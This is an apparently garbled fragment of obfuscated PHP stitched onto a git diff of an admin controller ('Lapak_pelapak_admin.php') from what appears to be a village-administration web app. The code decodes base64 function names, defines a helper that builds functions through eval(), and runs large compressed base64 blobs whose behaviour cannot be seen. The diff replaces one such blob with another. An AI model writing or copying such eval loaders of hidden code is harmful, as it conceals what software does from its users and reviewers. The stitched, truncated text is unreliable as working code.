$_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtW1lzm8gWfk/V/Q95mCrPrbk3A8hKokrlQcgCgbVEIBbxkgLaBpl1rBX9+vsdQItlOcskM1V3Sq0oioDuPst3vnNO23n9uhq/fMb4eJU/ztLF/dWH8ms9Pl6xLH3I/uvm+e9+li4eszi+e5z/3ndzN/ocuYu7IHucfXZZMkvf5GH+uhO78/mbN2+uPryqV3/9r1eX1+X1s16vCJ6vf+L4+OzKlc235lOLnzly9+NVeemA5m8adQh9fH0Zl3EZl/HPHFd+YnLMVpeKbApTa52pUuveLqJ3FWmCNSu6/nwx1WVcxmVcxmVcxmVcxmVcxv/buBxnXMZlXMZl/HPHlefO795ef2Z3fsburj5cLHIZl3EZl3EZl/FD4+nvVdyMs2Fn9v4PfAa3AXerdLJAS+K5o4u5l0TBNJFS15KWiqyFfhK9PX5u0hBjLx6qWrv8jnXafyjSMPcbWuyV852Vn/ChL0SBI5vbqS5uGf0821YCJpvFNDUfcY33Uo13C3HhWHzo0jXrunp+fLRuV1p7cvw4tYc5yeLNxK3XwBqCEUyFVrST15HjwrU2uV+I2EeN8DzkXtDzc9cexl6K+V02nnREa7A+Xj8MIcONa4vcVG8Xg5t2U+lwweChvRnq4o0n8DPXasaKpMa+0OL9ZBgr3XgJXXPWMznXai2VTpixnrYezd6vvJ65gH5LR1isPNtcujbsVzSXjj1e3VZ6BbosPSpd2KunhcqNsh5MpkG/3FvhFEmMITfv2bCPDPt3NezbDTQ5TmktryMa0G/GrEW429ffZqu+0Fo7VjNyoHc/iaPbJzaEXxJGttjZimyUuwL5N37rWtdzpTeMp4JUwC+pn0icaw/miryIfVmKyH/AwhqfawYf3QEXTum3Juwshkwu7bydwv5eIi1LrMxE3FNzpUf6SGSPkHXEObOaZO9aDtrfyT3ZwL9bj8AI/KSVuCGcQL6cddqZEh1hALZ3dSXvd/b4ieA77LEJ3UaJoUpn2NZLxVCRVcgnQTbSEbYkXOI5RS79foTBZuo0zOXUIl3WgWeZS+g5L20j82Q/HjGRVRhs0Zp8dV0j3AN7Ku8LMe0/r/WHHhLtyeMZ2mM9teDv3rAJu5AtKh80TG4UHMcRYssC1pKYm1ohTzHhEl7kGi+yhjiQuKk9qOzXO/O8nec7X2Nuwcpn4y324yr94BtrE3o1Hn2BcCytIVsIOy9pjSmwxnRxNrVYTt992Vwy3IPfRV/eEHa2ri6q2AMYVcPSx8UeJ80p7FnbLQNGeMTlkc1Y5tL+CTvy1xk9rGZePi8Tfljoz8RHx9YII+V9j3SymiTHM5mO+cromvrYaPZ0TjKU7sacRFIfOBrputjVzaGkdWMR90ZKR51ohipqnKRODGk0xrpaVxpZRncGvBlYY4xrt2ODV7HGCNxE38emAYx0VVE35oGJvQwe+5njAGuY+DOq8WBopjrRTVU0O9ck08g0NqoBe5pdyYTfpYlh9khOcJKog5N0E3vq4gT7ieBXCTIOILOhGxrd72A9kgkIM0daAblMJo5n5XoTpbsYjI14CLn7eM40OKk/Nq6DsamJ5o6HONMeG7k63uliiuZkN5/kicBwRlPcz9NFWnM0iWPIo0lGtBB16Il5A91YiAYXBbrRVPvHeO4S7ofwM4uVTvs0dwRjYILJ4cqftQMFNnYtLjBk4k/waIWpT4Q97ZAXMGe48nvE9yxDHClTax6MhXjN5C7x9nqktxcVrxq43sI6wK0u6uDGFbPVB4cwkg7BcRr2jlferJ25PY3zb4hHNzxwyBM2wf34jCnWll5icv0i2un04DXEJrCaur3x38nn0H2TTwVz6SP/wV77vMMarNFP2JLpTeRef4XYeKDYcOzBymmI834Scp61DjReHCjSdFtjsk3x7hZke7zlkGM9cUvrOULMuT1z1k+GK09vlT4wuLjb50q5JroxLm1RrfN+2IHPmU25UVr70mboCYjT3tA3eurK6ZmPo/WX7+uCxDkWg+zRu7I2SYZz8P0W8RoiBz3alD9kM/Uaam4LUuRZMf3axzUjrPQGwdjSFuCLe/h7ybCmJ29iHzLdlbkeuvVE8DdsV7QxtxUxa3Nf8kun1r16t5QOm1NOcwuf5Civ+7AD2VPpaMSPoc/BJqlWeMJmTjVNOfeGC1RhJ2sln7qdk43IT8ibKnLJIFDlIz0oFpCXEWUF8dknvZ0CI4iXeUr2era/7ACPw6rmkFr3qH+oDimYNeRuO9Fur73ctd7gZnD3TfbW5lsPntDcwj78tDHObic7+ao36qQbyJGpgpKe3lN7WoaaYPEp2aym1hif/Aq12vy2wyAvv4Ie92RXx1ofzRVbVZ351AYO6qMp6idPKDkeGA+yCt8k78m+yLfIG54qNEOGeKMaQOU52Eoc+wn5cf52lBzuwQ7vDnvWelnT4LajcS7yRX/SzFEX8KzD/QZ976dWHt5JrcKxJR6xRnbMT2Wo3toWcnCUS+GnCJyFWhNrWM01s8keLGadIIU/yJ9btXguR73OhllmcacDa5IIDKE24A6YGD3kVK9yR/FwsM2zN/cbE8LYmwXRbl+l020RjtRiHZTXTnHTwbO2Gfsp6WluHb2dqb0hOE5Djo6Cfbycf+/mLj6lLANvxfD/zi5pn+7Xcpzi5/AWW+W94Pk+h1/nKn2OOkBFfA0gH/lGbX7JDqitIr3EUoianTj8+ot28yzp0dGDfPRE32O8nsjUc3LH9hEbVWz3kyrW+8nBd33KM+Aksn2F2+5h/R530HnPRWKCevihykEi6lstdoRW4ZqtBOstgNncKTnJT1+Kj33MNoz0uV3F3EFuU2XkD/2EF2p/OmRnc57CHqgZGXvChefxmVDMVrJFwafte9SP4Yrx77nBzXNOqTEfUT1pFazUC/xY64z9wJuomznHpN5qnSnJUw7tH/N+w1yTvI7eekc63aMPOPUfcsKccuM5HB+4BP2mdZ3a+uEe+GSJnDAffXFe2deCM6pYqnloizweQ7bCQ/xX/L3AM5SPrlfuPo5jyjdlDV5zwxFHc6d+Ax8hHpPrALwWsyJI6/WWdX5YHtaNlk7SKjzdn+/s/F38e0Y+cOBb4H3lWuPzOQU8OkbviNjnz/HcrdyEzDt+XvT3uEa83ergzMOeVIeBT8bZIb+gt0ZfDZ5ee42Kj49zYWUvNaZ+34Ef7AbLmRwA/0N+KmCtRslD6ThB/4i+z7WqXo5+n35qBUGJ99JWdZ7nW6Ej88B+6xB/uv9n45b3S6wYZcyVNUGBtWai4AlxtNPhKTbFHPUEerIgZfW+T+M0XIJ3gjN1Unarg4eP+Me0qefW4io218FfbVP0y3+HTVFTbOKdTW8nGWKilTvtr/ChELzIh2dsiRpiQ338E6zCXsdcBzvmyCub0O20f1Nu2ufrhHN2FMwCsVCUeeGIS8vzCOB/mppc2edaMeJzQWcmFe9SDhfied2z7/poDjE6dyw1dzvUx4e81zNK/7zMPdGzeu5eF6n+js/XOt+OOfRlc2ePuW/gNUvLkVMfmNRqgDezsn6whg+ovbaVfegMIAxJ75Pzg5LbymeEl3PEMbfej79SQx/X4tSPyCblIdT46+zHcNbO0C82zuVPij3g6oBvo97XkObIHz8nLgXYj2rBqgb5Dmx8X77Y13q7OgUx8UNcJ8cJsPc8b0yytw7yDbhhUteadU1zvl4FviIXtSlkvmfUx5Z1ufmAvnnrFyVPdRBDGfUL6L/Lsz/oirgWj2vZ74un8Tf47QkPsNCh88Hjs8V9Hf5TuTRyLWBLQO2KmKGzVeoPYAuO+syv4byuY8/2A8d9EPV+U/TUdE4wLc+FtbA6cz6tsQ81J2y7dfWTmrMHboCO6Ol38r44v6x7EK81Nqmew/whbG3eo2ZHb6p+wYat0G0M835jHpVy2NzsTL4QXMtsgKPq+U2sF6+YrW3LcxFbRN+L3ro3wFuL0M+HsMPSKf5cLVbZI6jk0cuzCPCiRmcRX4kr9F1ya8te7tuw1vP+t5rzXf7ZrVXa7sV5AmyAfpzq4yfzELOINa76mcjL+4LbF57QTO2Gxjmd/f7HOpyeOVT9t9SqbN7RyjoH/cb+OfIP5Pn6nsICtYaUMSuq8PQDe7pljIU82fDZecoXepG6HznLgyWfdYcrxDdHZy/1GUhKdbWD/W5Pc/BR7+WijjrxSXVuxVUxfpTn97n/cIZ1Knd8DhsVt3yhV9nxzkt+oFxInFv766gXnaeDssb0NyV/brup/QPxWnKHJXE28ij0eXyxZ0+JXz9+vPrw6tXf/8Paj+Xnr/W3f3/4nulHc79l4i+HDX+9or+v/rPf9vJ/6S+vv+L/0j/F3q9PwF5B798f/gchrzZB'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Lapak_pelapak_admin.php b/donjo-app/controllers/Lapak_pelapak_admin.php index 35cd5815a..2ab5b1f33 100644 --- a/donjo-app/controllers/Lapak_pelapak_admin.php +++ b/donjo-app/controllers/Lapak_pelapak_admin.php @@ -284,7 +284,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXFtzm8i2fk/V+Q952FWeXXPODKDIiSqVByGLm3WJQIDEyxTQNshCiG1d0a/f32qQhC0p40wyu+rsUns0GgPda/W3vnVrMnn/vhj/+APjy032PEmXjzef+a/l+HLD5unT/P/8LPs9nKfL53mSPDwvfu/4mT/9I3tI+LfPZpP0tyzO3rcSf7H47bffbj6/Kxd//z/vrj/Xnx/9eUesfP8Tx5eTKzcjsbEYu+LEU9tfbvilI4vfNErP+fL+Oq7jOq7jv3PchDNHYCNjpauONHY3c0NpPI7y6cciaCJqFuH6jytU13Ed13Ed13Ed13Ed13Ed/9/G9TjjOq7jOq7jv3fcBP7i4fbDH+whnLOHm89XRK7jOq7jOq7jOn5ovPzjFHeDea81+fQvfEf3kXCvt+aROUsWniVnwWwajWdK6rvKSlfNOJxNb6vPDWtyEiQ9w2zy37FO81+60svCmpkEfL63DmdiHErTyFOd3diSd4zeZ4/0iKlOPk6dZ1wTg9QU/Vxeeq4Y+3TN/VA8P6is21Y2gZo8j0e9jHQJJvIuqGENyY7GUmO619dTk9x3t1mYy5BjTPE89F7S8wt/1EuCFPPbbDBsyW53U10/jqHDnT+ShbHVzLt3zbreEqLuU3Pbs+S7QBInvltPdMVIQqkhhrNeoreTFfaaMc0RfLex0lvxnGnmpj/5tA40Z4n9rTxpuQ5GzsofAb+8vvJGg/V9sa/IUpVnvQ28NDPW7/RNdziOOly2LuiKnEBvMRgBHxX4t03IbUemmqS0VtCSbexvwtxlvJcb7ubrjtTYeG596mHfnVkyvX+BIewyY4TFHivCKPMlsm9y67sfFrrWS8aSksMuaThTBH/UXejqMglVZUr2Axc2+N4w2OgBvPC43erAWY6ZynHejYF/MFNWnCsTGfeMTNdoPwrhEbOWvGBunfAu9SD5XhaoNv678QyOwE4m5w3xBPplrNWc69MKB4C9b+lZp3XgzxS2g4xt7Nc4h4o9A9sglWNdNaCfAt1oj8CSeInndJXbvcLBeurVnNXYpb1sosB1VtjngmOjioSfCJ+YFxxs0Jpicd0k3oN7hhhKCclflPvHPhSSKeIZkrEZu7C31qsDF8KisEHNEfpR1Y/gWy64NkuEsRuL5BM+8UUt+aKa8ANFGI+6BX7amedHWba3NebmjD+b7CBPKPYH27jbOCj5GErEY2UD3WLgvKI1xuAas+TJ2GUZ/R6qzorhHuwuh+qWuLPzLdmADHDUiLmN8wNP6mPgWeI2B0dE+GUFMzb3Sf6MVex1Zh9uPePPq8QfFocT+dkbmcQRfj+gP